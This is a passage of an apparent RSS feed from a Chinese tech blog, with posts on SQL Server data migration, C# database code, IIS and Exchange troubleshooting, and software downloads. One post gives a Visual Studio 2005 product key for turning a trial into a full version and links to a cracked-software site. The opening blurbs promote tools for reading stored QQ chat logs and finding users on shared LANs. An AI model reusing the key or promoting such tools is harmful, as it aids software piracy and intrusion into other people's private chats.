align="left"&gt;本软件可以查看本机器上已经使用过的QQ号码的聊天记录。包括群聊天记录。本软件在使用过程中，不会破坏QQ的任何文件，也不会破坏系统的任何文件，是一款绿色软件。&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;                &lt;div class="inverse-box-r1a"&gt;&lt;div class="searchpageTitle"&gt;&lt;div align="left"&gt;&lt;a href="http://www.mydown.com/soft/network/netassistant/149/409649.shtml" target="_blank"&gt;&lt;font color="#800080"&gt;&lt;font class="f"&gt;&lt;strong&gt;QQ第六感&lt;/strong&gt;&lt;/font&gt; &lt;/font&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;                &lt;div class="searchpageBody"&gt;&lt;div align="left"&gt;QQ第六感 是一款QQ的辅助软件，用它可以查找到包括网吧、校园网等在内的各种局域网中的所有在线QQ的号码，是你认识GGMM的最佳工具，程序直接在本机上使用，不需要任何服务端程序(非木马)。&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;                &lt;div class="inverse-box-r1a"&gt;&lt;div class="searchpageTitle"&gt;&lt;div align="left"&gt;&lt;a href="http://www.mydown.com/soft/gam/gameeditor/447/408947.shtml" target="_blank"&gt;&lt;font class="f"&gt;&lt;strong&gt;Q宠保姆&lt;/strong&gt;&lt;/font&gt; &lt;/a&gt;&lt;/div&gt;&lt;/div&gt;                &lt;div class="searchpageBody"&gt;&lt;div align="left"&gt;Q宠保姆是一个完全自主开发的自动喂养QQ宠物的绿色软件，为广大QQ宠物的用户提供优质挂宠升级服务。可以将你的双手从枯燥的重复喂养动作中解放出来。&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;&lt;/td&gt;            &lt;/tr&gt;        &lt;/tbody&gt;    &lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=87</guid><pubDate>Mon, 20 Aug 2007 05:06:00 GMT</pubDate></item><item><title>[图解][数据库]SQL SERBER 2005数据还原到SQL SERVER 2000[备份还原]</title><link>http://www.chendw.cn:8080/view.aspx?id=86</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;众所周知SQL SERVER　2005是兼容SQL SERVER　2000，所以可以直接把在SQL SERVER　2000中备份的数据库直接还原到SQL SERVER　2005，但却和很多软件一样不能向下兼容SQL SERVER　2005的数据库不能还原到SQL SERVER　2000里。最近我就遇到了这样的事，服务器的数据库是SQL SERVER　2005的而我的本本配置一般，想跑SQL SERVER　2005那是一个累字阿，那要怎么把SQL SERVER　2005的数据库转移到SQL SERVER　2000里来呢，想了半天，嘿嘿，想起了SQL SERVER　的数据库导出导入功能，问题解决了。下面是详细的教程。&lt;/p&gt;&lt;div forimg="1"&gt;打开企业管理器　选中要导出的数据库－右键－任务－导出数据&lt;/div&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/f77ed2163acba511962b4374.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;下一步&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/1c0acafcdc38cdf4fd037f73.jpg"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/1c194890acff7d84a877a47a.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/3233d60703fbe9c47b894746.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/9feb38875b543a23c65cc342.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/c83a4d4aaeac492a09f7ef4e.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/ce780e33194ee4f11a4cff48.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;全选－下一步&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/6ae41c17dc8fb6084a90a74b.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;下一步&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/a2102a38713fe62db8998f55.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;完成&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/ee2eaeafe5ccacc57cd92a57.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;开始导数据&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/9edf9d3deecfde09baa16750.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;导数据库完毕&lt;/div&gt;&lt;div forimg="1"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/ef88f4032999a67e3912bb52.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;刷新目标数据库，这样就把数据库所有的数据全部还原到SQL SERVER　2000上了。&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=86</guid><pubDate>Sun, 12 Aug 2007 03:20:00 GMT</pubDate></item><item><title>SQL SERVER 2005下载</title><link>http://www.chendw.cn:8080/view.aspx?id=85</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;div&gt;&lt;a class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/03/eacae57002ea47d29b4848a195060310.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/03/eacae57002ea47d29b4848a195060310.jpg" alt="1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;table class="table FCK__ShowTableBorders" border="0" cellspacing="1" cellpadding="4" width="728"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2734" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SQL2005EVALX64_CHS.EXE&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;950.82 M&lt;/td&gt;
&lt;td align="right"&gt;997003448&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2733" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SQL2005EVALX64_CHS.ISO&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;971.90 M&lt;/td&gt;
&lt;td align="right"&gt;1019113472&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2732" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SQL2005EVAL_CHS.EXE&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;939.17 M&lt;/td&gt;
&lt;td align="right"&gt;984787192&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2731" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SQL2005EVAL_CHS.ISO&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;927.21 M&lt;/td&gt;
&lt;td align="right"&gt;972253184&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=85</guid><pubDate>Sat, 28 Mar 2009 12:30:11 GMT</pubDate></item><item><title>[.NET]C#数据库操作的三种经典用法</title><link>http://www.chendw.cn:8080/view.aspx?id=84</link><description>&lt;div id="blog_text" class="cnt"&gt;　　由于最近和数据库打交道，需要用C#和SQL Server 2005进行操作,就把近段时间内的最常用的操作做个总结。本人也是第一次用C#操作数据库，所以这三种典型用法对初学者还是挺有帮助的。&lt;br&gt;&lt;br&gt;　　以下是我在visual studio 2005上写的一个类(连的是SQL Server 2005)，已经过测试通过。里面有3个方法比较典型，源码如下:&lt;br&gt;&lt;br&gt;&lt;table width="100%" bgcolor="#d8d7d1" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td&gt;using System;&lt;br&gt;using System.Collections.Generic;&lt;br&gt;using System.Text;&lt;br&gt;using System.Data;&lt;br&gt;using System.Data.SqlClient;&lt;br&gt;&lt;br&gt;namespace DatabaseOperate&lt;br&gt;{&lt;br&gt;　class SqlOperateInfo&lt;br&gt;　{&lt;br&gt;　　//Suppose your ServerName is "aa",DatabaseName is "bb",UserName is "cc", Password is "dd"&lt;br&gt;　　private string sqlConnectionCommand = "Data Source=aa;Initial Catalog=bb;User ID=cc;Pwd=dd";&lt;br&gt;　　//This table contains two columns:KeywordID int not null,KeywordName varchar(100) not null&lt;br&gt;　　private string dataTableName = "Basic_Keyword_Test";&lt;br&gt;&lt;br&gt;　　private string storedProcedureName = "Sp_InertToBasic_Keyword_Test";&lt;br&gt;　　private string sqlSelectCommand = "Select KeywordID, KeywordName From Basic_Keyword_Test";&lt;br&gt;　　//sqlUpdateCommand could contain "insert" , "delete" , "update" operate&lt;br&gt;　　private string sqlUpdateCommand = "Delete From Basic_Keyword_Test Where KeywordID = 1";&lt;br&gt;&lt;br&gt;　　public void UseSqlReader()&lt;br&gt;　　{&lt;br&gt;　　　SqlConnection sqlConnection = new SqlConnection(sqlConnectionCommand);&lt;br&gt;　　　SqlCommand sqlCommand = new SqlCommand();&lt;br&gt;　　　sqlCommand.CommandType = System.Data.CommandType.Text;&lt;br&gt;　　　sqlCommand.Connection = sqlConnection;&lt;br&gt;　　　sqlCommand.CommandText = sqlSelectCommand;&lt;br&gt;&lt;br&gt;　　　sqlConnection.Open();&lt;br&gt;　　　SqlDataReader sqlDataReader = sqlCommand.ExecuteReader();&lt;br&gt;　　　while(sqlDataReader.Read())&lt;br&gt;　　　{&lt;br&gt;　　　　//Get KeywordID and KeywordName , You can do anything you like. Here I just output them.&lt;br&gt;　　　　int keywordid = (int)sqlDataReader[0]; &lt;br&gt;　　　　//the same as: int keywordid = (int)sqlDataReader["KeywordID"]&lt;br&gt;　　　　string keywordName = (string)sqlDataReader[1]; &lt;br&gt;　　　　//the same as: string keywordName = (int)sqlDataReader["KeywordName"]&lt;br&gt;　　　　Console.WriteLine("KeywordID = " + keywordid + " , KeywordName = " + keywordName);&lt;br&gt;　　　}&lt;br&gt;&lt;br&gt;　　　sqlDataReader.Close();&lt;br&gt;　　　sqlCommand.Dispose();&lt;br&gt;　　　sqlConnection.Close();&lt;br&gt;　　}&lt;br&gt;　　public void UseSqlStoredProcedure()&lt;br&gt;　　{&lt;br&gt;　　　SqlConnection sqlConnection = new SqlConnection(sqlConnectionCommand);&lt;br&gt;　　　SqlCommand sqlCommand = new SqlCommand();&lt;br&gt;　　　sqlCommand.CommandType = CommandType.StoredProcedure;&lt;br&gt;　　　sqlCommand.Connection = sqlConnection;&lt;br&gt;　　　sqlCommand.CommandText = storedProcedureName;&lt;br&gt;&lt;br&gt;　　　sqlConnection.Open();&lt;br&gt;　　　sqlCommand.ExecuteNonQuery();&lt;br&gt;　　　//you can use reader here,too.as long as you modify the sp and let it like select * from ....&lt;br&gt;&lt;br&gt;　　　sqlCommand.Dispose();&lt;br&gt;　　　sqlConnection.Close();&lt;br&gt;　　}&lt;br&gt;　　public void UseSqlDataSet()&lt;br&gt;　　{&lt;br&gt;　　　SqlConnection sqlConnection = new SqlConnection(sqlConnectionCommand);&lt;br&gt;　　　SqlCommand sqlCommand = new SqlCommand();&lt;br&gt;　　　sqlCommand.CommandType = System.Data.CommandType.Text;&lt;br&gt;　　　sqlCommand.Connection = sqlConnection;&lt;br&gt;　　　sqlCommand.CommandText = sqlSelectCommand;&lt;br&gt;&lt;br&gt;　　　sqlConnection.Open();&lt;br&gt;　　　SqlDataAdapter sqlDataAdapter = new SqlDataAdapter();&lt;br&gt;　　　sqlDataAdapter.SelectCommand = sqlCommand;&lt;br&gt;　　　DataSet dataSet = new DataSet();&lt;br&gt;　　　//sqlCommandBuilder is for update the dataset to database&lt;br&gt;　　　SqlCommandBuilder sqlCommandBuilder = new SqlCommandBuilder(sqlDataAdapter);&lt;br&gt;　　　sqlDataAdapter.Fill(dataSet, dataTableName);&lt;br&gt;&lt;br&gt;　　　//Do something to dataset then you can update it to 　Database.Here I just add a row&lt;br&gt;　　　DataRow row = dataSet.Tables[0].NewRow();&lt;br&gt;　　　row[0] = 10000;&lt;br&gt;　　　row[1] = "new row";&lt;br&gt;　　　dataSet.Tables[0].Rows.Add(row);&lt;br&gt;&lt;br&gt;　　　sqlDataAdapter.Update(dataSet, dataTableName);&lt;br&gt;&lt;br&gt;　　　sqlCommand.Dispose();&lt;br&gt;　　　sqlDataAdapter.Dispose();&lt;br&gt;　　　sqlConnection.Close();&lt;br&gt;　　}&lt;br&gt;　}&lt;br&gt;}&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=84</guid><pubDate>Wed, 08 Aug 2007 10:14:00 GMT</pubDate></item><item><title>Microsoft Visual Studio 2005 简体中文企业版</title><link>http://www.chendw.cn:8080/view.aspx?id=83</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;h2&gt;软件简介 &lt;strong&gt;Soft Introduction&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img style="width: 497px; height: 406px;" src="http://img.verycd.com/posts/0604/post-434423-1144318012.jpg" border="0" alt="" width="497" height="406" /&gt;&lt;/p&gt;
&lt;p&gt;注:Team安装完后会显示为试用版本，在"添加删除&amp;rdquo;里面选择删除"visual studio 2005",然后在打开的窗口中选择最后一项"添加注册码升级到正式版&amp;rdquo;,在里面输入下面的cd－key:&amp;nbsp;&amp;nbsp;&lt;br /&gt;N:KYTYH-TQKW6-VWPBQ-DKC8F-HWC4J &lt;br /&gt;&lt;br /&gt;专业版安装完后即为正式版 &lt;br /&gt;&lt;br /&gt;简体中文版的最终build为RTM.50727.42.38,在产品中显示为RTM.50727.42.00. &lt;br /&gt;&lt;br /&gt;已通过安全检测 &lt;br /&gt;已通过诺顿2006安全检测，病毒库：2006.04.06 &lt;br /&gt;&lt;br /&gt;已通过安装测试 &lt;br /&gt;测试操作系统:Windows XP SP2&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;下载地址：&lt;a href="http://www.cncrk.com/downinfo/5871.html"&gt;http://www.cncrk.com/downinfo/5871.html&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=83</guid><pubDate>Sat, 28 Mar 2009 12:28:36 GMT</pubDate></item><item><title>[数据库]在SQL SERVER的SQL语句里去分大小写</title><link>http://www.chendw.cn:8080/view.aspx?id=82</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;原理：实现原理，把字符转成二进制在进行比较。&lt;/p&gt;&lt;p&gt;select * from test where&amp;nbsp;&amp;nbsp;&amp;nbsp; cast(left(YCXH,1)&amp;nbsp;&amp;nbsp;&amp;nbsp; as&amp;nbsp;&amp;nbsp;&amp;nbsp; varbinary)&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;nbsp;&amp;nbsp;&amp;nbsp; cast('T'&amp;nbsp;&amp;nbsp;&amp;nbsp; as&amp;nbsp;&amp;nbsp;&amp;nbsp; varbinary)&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=82</guid><pubDate>Mon, 06 Aug 2007 10:05:00 GMT</pubDate></item><item><title>metabase.xml文件被破坏iis无法启动的【解决办法】</title><link>http://www.chendw.cn:8080/view.aspx?id=81</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;&lt;span style="color: #99cc00;"&gt;今天在给一台服务器调整上传附件大小时，不小心用写字板打开metabase.xml了，结果里面有的字符变成了&amp;ldquo;？&amp;rdquo;导致xml格式错误，IIS无法启动。本来打算重装IIS但发现手头上现在没系统盘，这时一不小心看到了inetsrv目录下有个History文件夹，打开一看，呵呵　事情解决了，里面有不同时段的metabase.xml文件备份，把里面的文件拷贝出来替换掉出错的，收工。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #99cc00;"&gt;metabase.xml出错时事件察看器的提示的错误信息：&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #99cc00;"&gt;IIS Admin Service 服务因 2149648394 (0x8021080A) 服务性错误而停止。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #99cc00;"&gt;有关更多信息，请参阅在 &lt;/span&gt;&lt;a href="http://go.microsoft.com/fwlink/events.asp"&gt;&lt;span style="color: #99cc00;"&gt;http://go.microsoft.com/fwlink/events.asp&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #99cc00;"&gt; 的帮助和支持中心。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #99cc00;"&gt;解析 XML 文件时出错。 原因: 应有一个字符串文字, 但找不到左引号。&lt;br /&gt;错误的 XML:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Name=?UnknownName_61506"&lt;br /&gt;ErrorCode&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 0xC00CE502&lt;br /&gt;Interceptor&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 14&lt;br /&gt;OperationType&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : Populate&lt;br /&gt;Table&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : MBProperty&lt;br /&gt;ConfigurationSource : &lt;/span&gt;&lt;a href="file:///C:/WINDOWS/system32/inetsrv/MetaBase.xml"&gt;&lt;span style="color: #99cc00;"&gt;file:///C:/WINDOWS/system32/inetsrv/MetaBase.xml&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: #99cc00;"&gt;Row&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 512&lt;br /&gt;Column&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 8&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #99cc00;"&gt;有关更多信息，请参阅在 &lt;/span&gt;&lt;a href="http://go.microsoft.com/fwlink/events.asp"&gt;&lt;span style="color: #99cc00;"&gt;http://go.microsoft.com/fwlink/events.asp&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #99cc00;"&gt; 的帮助和支持&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=81</guid><pubDate>Sun, 29 Mar 2009 03:19:40 GMT</pubDate></item><item><title>空间访问人数达到10000特发帖见证下</title><link>http://www.chendw.cn:8080/view.aspx?id=79</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;在此感谢各位对本空间的支持，谢谢！&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;时间：&lt;font color="#ff0000"&gt;2007年08月01日&lt;/font&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/ade2533d2c0bd2e63d6d97d9.jpg"&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=79</guid><pubDate>Wed, 01 Aug 2007 10:58:00 GMT</pubDate></item><item><title>ms msdn for vs_2005</title><link>http://www.chendw.cn:8080/view.aspx?id=78</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;span style="color: #99cc00;"&gt;
&lt;div&gt;&lt;a class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/03/a36486e2ae6c4701808106d5c9f8fafe.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/03/a36486e2ae6c4701808106d5c9f8fafe.jpg" alt="1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/span&gt;
&lt;p&gt;&lt;span style="color: #99cc00;"&gt;是一个ISO文件，速度还可以。请右键用下载工具下载。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="ftp://www.sooweb.net/Share/Design/Visual%20Studio.NET%202005/ms_msdn_vs_2005_chs.iso" target="_blank"&gt;&lt;span style="color: #99cc00;"&gt;右键下载&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=78</guid><pubDate>Sun, 29 Mar 2009 03:20:54 GMT</pubDate></item><item><title>[精品软件系列]Altova XMLSpy</title><link>http://www.chendw.cn:8080/view.aspx?id=77</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XMLSpy是所有XML编辑器中做得非常好的一个软件，支持WYSWYG。支持Unicode、多字符集，支持Well-formed和Validated两种类型的XML文档，支持NewsML等多种标准XML文档的所见即所得的编辑，同时提供了强有力的样式表设计。&lt;br&gt;本版增加了几个很有用的功能:&lt;br&gt;XSLT 调试工具，XSL 也就是所谓的扩展风格表单语言（Extensible Stylesheet Language）由3种语言组成。这三种语言负责把XML文档转换为其他格式。XML FO （XSL格式化对象：XSL Formatting Objects）说明可视的文档格式化，而 Xpath 则访问XML文档的特定部分。而 XSLT（XSL Transformations）就是把某一XML文档转换为其他格式的实际语言。 更多情况，&lt;br&gt;WSDL 编辑器， WSDL就是描述XML Web服务的标准XML格式，WSDL由Ariba、Intel、IBM和微软等开发商提出。它用一种和具体语言无关的抽象方式定义了给定Web服务收发的有关操作和消息。&lt;br&gt;Java / C++ 代码生成器，这个可以从 XML Schemas 文档中生成 Java/C++ 代码。 &lt;br&gt;集成 Tamino， Tamino 产品是世界第一...&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;div forimg="1"&gt;&lt;img border="0" small="0" class="blogimg" src="http://hiphotos.baidu.com/cdwm/pic/item/19295e60820517d78db10daa.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;a target="_blank" href="http://www.yzcode.com/Article/xmlstu/200602/Article_872.html"&gt;XMLSpy 2005用户手册---用户手册&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=77</guid><pubDate>Fri, 27 Jul 2007 04:27:00 GMT</pubDate></item><item><title>Exchage2003无法发送邮件【解决办法】</title><link>http://www.chendw.cn:8080/view.aspx?id=76</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span&gt;&lt;span style="color: #99cc00;"&gt;问题描述：&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span style="color: #99cc00;"&gt;&lt;span&gt;&lt;span style="mso-tab-count: 1"&gt;&lt;span style="font-family: Times New Roman;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;错误提示：&lt;/span&gt;&lt;span&gt;&lt;span style="font-family: Times New Roman;"&gt;SMTP error, RCPT TO: 550 5.7.1 Unable to relay for &lt;/span&gt;&lt;a href="mailto:hux@njtrh.org"&gt;&lt;span style="font-family: Times New Roman;"&gt;****@***.***&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span style="color: #99cc00;"&gt;&lt;span&gt;&lt;span style="mso-tab-count: 1"&gt;&lt;span style="font-family: Times New Roman;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;错误现象：&lt;/span&gt;&lt;span&gt;&lt;span style="font-family: Times New Roman;"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;span&gt;、通过外部邮箱不能向&lt;/span&gt;&lt;span&gt;&lt;span style="font-family: Times New Roman;"&gt;OA&lt;/span&gt;&lt;/span&gt;&lt;span&gt;内部发送邮件&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span style="color: #99cc00;"&gt;&lt;span&gt;&lt;span style="font-family: Times New Roman;"&gt;&lt;span style="mso-tab-count: 3"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;2&lt;/span&gt;&lt;/span&gt;&lt;span&gt;、内部邮箱之间不用发送&lt;/span&gt;&lt;span&gt;&lt;span style="font-family: Times New Roman;"&gt;(&lt;a href="mailto:****@***.***"&gt;****@***.***&lt;/a&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span&gt;，但是只输入用户名能发送&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;span style="color: #99cc00;"&gt;&lt;span&gt;&lt;span style="font-family: Times New Roman;"&gt;。&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
